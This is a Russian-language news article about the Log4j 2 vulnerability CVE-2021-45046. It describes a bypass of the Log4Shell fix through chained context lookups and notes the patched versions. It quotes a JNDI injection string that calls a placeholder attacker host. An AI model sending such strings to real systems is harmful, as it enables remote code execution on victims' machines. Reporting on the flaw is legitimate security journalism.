Выявлен новый вид атаки на библиотеку Log4j 2, старая защита не работает

Изображение: PeteLinforth, pixabay, cc0
Кибербезопасность
Кибербезопасность

Информация о новой уязвимости CVE-2021-45046 в популярной библиотеке журналирования Log4j 2, позволяющей запустить произвольный код атакующего на компьютере с приложением, использующим Log4j, опубликована 14 декабря на сайте Apache Foundation.

Новая уязвимость особенно опасна для приложений с библиотекой Log4j версии 2.14 и младше. Добавленная в версии 2.15 защита от атаки Log4Shell ограничивает возможности эксплуатации новой уязвимости, хотя и не защищает от нее полностью.

Уязвимость может быть использована злоумышленниками для атак на программные системы с использованием контекстных запросов (Context Lookup) и MDC-шаблонов при журналировании посредством библиотеки Log4j 2.

Защиту от Log4Shell в новой уязвимости удалось обойти за счет цепочки подстановок. Вместо прямой вставки вида «${jndi: ldap://attacker.com/a}» используется промежуточный этап с использованием переменных форматирования вывода в журнал. В частности, «${ctx: apiversion}».

Уязвимость уже исправлена в Log4j версий 2.16 и 2.12.2. Однако, учитывая сообщения о сотнях тысяч и даже миллионах атак с использованием метода Log4Shell на уязвимые системы по всему миру, она успеет повлиять на ситуацию прежде, чем авторы большинства программных продуктов установят обновление безопасности.

Библиотека Log4j используется в большинстве крупных программных продуктах на языке программирования Java. Язык Java по факту является наиболее типовым для промышленной разработки приложений. Например, уязвимости Log4j затрагивают хотя бы один из программных продуктов 65 из 100 компаний списка Fortune 100.